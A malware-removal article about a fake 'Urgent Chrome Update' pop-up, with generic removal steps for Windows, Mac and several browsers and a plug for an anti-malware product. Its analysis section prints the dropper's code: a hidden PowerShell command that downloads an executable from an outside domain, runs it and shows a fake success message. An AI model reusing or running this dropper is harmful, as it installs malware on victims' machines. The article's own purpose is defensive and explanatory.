The article will aid you to remove the Urgent Chrome Update “virus” completely. Follow the malware removal instructions at the bottom of the article.
Urgent Chrome Update “virus” is a fake message that tries to scare you or rather trick you into launching whatever file is hosted on it. It usually comes in the form of a pop-up, but it may also open a whole page or a new tab by switching to that page. Amazon, Facebook, Yahoo and e-mail messages are reported to redirect you or even spawn this fake message. What happens is that it automatically downloads a file called chrome-update.bat and if you run it, your whole system could get encrypted. Other causes, such as installing less dangerous malware into your system, like an adware or a browser hijacker are also possible outcomes.
|Name||Urgent Chrome Update "Virus"|
|Type||Redirect, Scam, PUP|
|Short Description||You see a message saying Urgent Chrome Update, while the page auto-downloads a .bat file. Opening the file encrypts your computer system.|
|Symptoms||You are redirected to a page which has a message stating that you need an Urgent Chrome Update that is fake.|
|Distribution Method||Freeware Installations, Bundled Packages, Redirects from Sites|
|Detection Tool|| See If Your System Has Been Affected by malware |
Malware Removal Tool
|User Experience||Join Our Forum to Discuss Urgent Chrome Update "Virus".|
Urgent Chrome Update “Virus” – Distribution
The spawning of the Urgent Chrome Update message could be distributed with various methods, the most reported of which is via e-mails and redirects from social networks. Reported networks that have been compromised or used for generating redirects with the Urgent Chrome Update messages are the following:
- Yahoo and its services
- Amazon and related sites
Other sites could have been compromised as well (or more likely their advertisements). These websites and social networks are not spreading the malicious file or redirect themselves, it’s just that the malware author chose them or found vulnerabilities to exploit to spread his program. Sometimes there is an .hta file, instead of the .bat one that contains a script with a download which encrypts your system or an adware version where you keep seeing the Urgent Chrome Update message along with lots of advertisements. Sometimes these files are programmed to show an installer setup before making changes to your computer to seem legitimate. Some of the setups could be inside a more aggressive adware installer coming with a bundle package.
Urgent Chrome Update is not excluded to be distributed with other methods, like add-ons or extensions added to your browser. When installed, they could start showing you advertisements, such as banners, pop-ups, pop-unders, whole page adverts and redirect you to various places online. Mainly the Google Chrome browser is affected, but the Urgent Chrome Update might show in other browsers.
Urgent Chrome Update “Virus” – Analysis
The Urgent Chrome Update message not to be treated lightly as it contains threats that can affect your computer machine in a bad way. Its malicious intent is undoubtedly present. The message is triggered from a redirect stemming either your e-mail service or a popular website which is either a social network or some kind of a site that sells goods. The most commonly exploited ones were mentioned in the Distribution section above. What happens next is that you see the Urgent Chrome Update message in either a pop-up, full-page notification or something similar. An example of one such redirect leading to a full-page message is shown below:
As you can see, the message is convincing as it uses the same logo as the Google Chrome browser, but also the same page design and button designs. What should throw you off is the domain that is shown in the URL address bar – it is unfamiliar and not known to be official, it is long and makes no sense. Examples of actual domain addresses which have spammed and spread Urgent Chrome Update messages are the following:
All of the above URLs are just for referential purposes and not complete – do not visit or download anything from them. From all of the above URLs, the Urgent Chrome Update message will be displayed and once loaded it will automatically download a file. The file has the following variations:
Some of these files could launch a setup, trying to copy the one of Google Chrome, but could also use a similar logo, which is not exactly the same. You can see an example of such a setup from the below picture:
Any of these files are stored inside the following location:
They also make changes to the following registry entries:
→HKCU\Software\Microsoft\Windows\Current Version\Internet Settings\Connections
This could mean that the innate Windows PowerShell Remote Access Server is accessed and could be used to download a setup for malware or a decryption program and execute it. Inside the .bat file you can see the following code:
echo a=new ActiveXObject(‘Wscript.Shell’);a.run(“PowerShell -WindowStyle Hidden $d=$env:temp+’\\16330788701ac441736751e3ee3c6996.exe’;(New-Object System.Net.WebClient).DownloadFile(‘https://eeteeinsightsoft.org/17/524.dat’,$d);Start-Process $d;[System.Reflection.Assembly]::LoadWithPartialName(‘System.Windows.Forms’);[system.windows.forms.messagebox]::show(‘Update complete.’,’Information’,[Windows.Forms.MessageBoxButtons]::OK, [System.Windows.Forms.MessageBoxIcon]::Information)”,0,false); >”%temp%\install_flash.js”
start /min “” wscript.exe “%temp%\install_flash.js”
In case a browser hijacker version is developed or you have installed a file related to the Urgent Chrome Update, and you notice your browser is changed, do not enter any information in its search bars. Be careful of what data you provide on such search pages, if that is your only browser available and you need to gather information about the situation. Don’t be clicking on suspicious advertisements or links that are displayed by the Urgent Chrome Update.
Urgent Chrome Update “Virus” – How to Remove It
To remove Urgent Chrome Update message and its files manually from your computer, follow the step-by-step removal instructions provided below. In case the manual removal does not get rid of the message, redirect and its files completely, you should search for and remove any leftovers with an advanced anti-malware tool. Such a program can keep your computer safe in the future.
- Guide 1: How to Remove Urgent Chrome Update "Virus" from Windows.
- Guide 2: Get rid of Urgent Chrome Update "Virus" from Mac OS X.
- Guide 3: Remove Urgent Chrome Update "Virus" from Google Chrome.
- Guide 4: Erase Urgent Chrome Update "Virus" from Mozilla Firefox.
- Guide 5: Uninstall Urgent Chrome Update "Virus" from Microsoft Edge.
- Guide 6: Remove Urgent Chrome Update "Virus" from Safari.
- Guide 7: Eliminate Urgent Chrome Update "Virus" from Internet Explorer.
How to Remove Urgent Chrome Update "Virus" from Windows.
Step 1: Boot Your PC In Safe Mode to isolate and remove Urgent Chrome Update "Virus"
Step 2: Uninstall Urgent Chrome Update "Virus" and related software from Windows
Here is a method in few easy steps that should be able to uninstall most programs. No matter if you are using Windows 10, 8, 7, Vista or XP, those steps will get the job done. Dragging the program or its folder to the recycle bin can be a very bad decision. If you do that, bits and pieces of the program are left behind, and that can lead to unstable work of your PC, errors with the file type associations and other unpleasant activities. The proper way to get a program off your computer is to Uninstall it.
Step 3: Clean any registries, created by Urgent Chrome Update "Virus" on your computer.
The usually targeted registries of Windows machines are the following:
You can access them by opening the Windows registry editor and deleting any values, created by Urgent Chrome Update "Virus" there. This can happen by following the steps underneath:
Get rid of Urgent Chrome Update "Virus" from Mac OS X.
Step 1: Uninstall Urgent Chrome Update "Virus" and remove related files and objects
1. Hit the ⇧+⌘+U keys to open Utilities. Another way is to click on “Go” and then click “Utilities”, like the image below shows:
- Go to Finder.
- In the search bar type the name of the app that you want to remove.
- Above the search bar change the two drop down menus to “System Files” and “Are Included” so that you can see all of the files associated with the application you want to remove. Bear in mind that some of the files may not be related to the app so be very careful which files you delete.
- If all of the files are related, hold the ⌘+A buttons to select them and then drive them to “Trash”.
In case you cannot remove Urgent Chrome Update "Virus" via Step 1 above:
In case you cannot find the virus files and objects in your Applications or other places we have shown above, you can manually look for them in the Libraries of your Mac. But before doing this, please read the disclaimer below:
You can repeat the same procedure with the following other Library directories:
Tip: ~ is there on purpose, because it leads to more LaunchAgents.
Step 2: Scan for and remove malware from your Mac
When you are facing problems on your Mac as a result of unwanted scripts, programs and malware, the recommended way of eliminating the threat is by using an anti-malware program. Combo Cleaner offers advanced security features along with other modules that will improve your Mac’s security and protect it in the future.
Remove Urgent Chrome Update "Virus" from Google Chrome.
Step 1: Start Google Chrome and open the drop menu
Step 2: Move the cursor over "Tools" and then from the extended menu choose "Extensions"
Step 3: From the opened "Extensions" menu locate the unwanted extension and click on its "Remove" button.
Step 4: After the extension is removed, restart Google Chrome by closing it from the red "X" button at the top right corner and start it again.
Erase Urgent Chrome Update "Virus" from Mozilla Firefox.
Step 1: Start Mozilla Firefox. Open the menu window
Step 2: Select the "Add-ons" icon from the menu.
Step 3: Select the unwanted extension and click "Remove"
Step 4: After the extension is removed, restart Mozilla Firefox by closing it from the red "X" button at the top right corner and start it again.
Uninstall Urgent Chrome Update "Virus" from Microsoft Edge.
Step 1: Start Edge browser.
Step 2: Open the drop menu by clicking on the icon at the top right corner.
Step 3: From the drop menu select "Extensions".
Step 4: Choose the suspected malicious extension you want to remove and then click on the gear icon.
Step 5: Remove the malicious extension by scrolling down and then clicking on Uninstall.
Remove Urgent Chrome Update "Virus" from Safari.
Step 1: Start the Safari app.
Step 2: After hovering your mouse cursor to the top of the screen, click on the Safari text to open its drop down menu.
Step 3: From the menu, click on "Preferences".
Step 4: After that, select the 'Extensions' Tab.
Step 5: Click once on the extension you want to remove.
Step 6: Click 'Uninstall'.
A pop-up window will appear asking for confirmation to uninstall the extension. Select 'Uninstall' again, and the Urgent Chrome Update "Virus" will be removed.
Eliminate Urgent Chrome Update "Virus" from Internet Explorer.
Step 1: Start Internet Explorer.
Step 2: Click on the gear icon labeled 'Tools' to open the drop menu and select 'Manage Add-ons'
Step 3: In the 'Manage Add-ons' window.
Step 4: Select the extension you want to remove and then click 'Disable'. A pop-up window will appear to inform you that you are about to disable the selected extension, and some more add-ons might be disabled as well. Leave all the boxes checked, and click 'Disable'.
Step 5: After the unwanted extension has been removed, restart Internet Explorer by closing it from the red 'X' button located at the top right corner and start it again.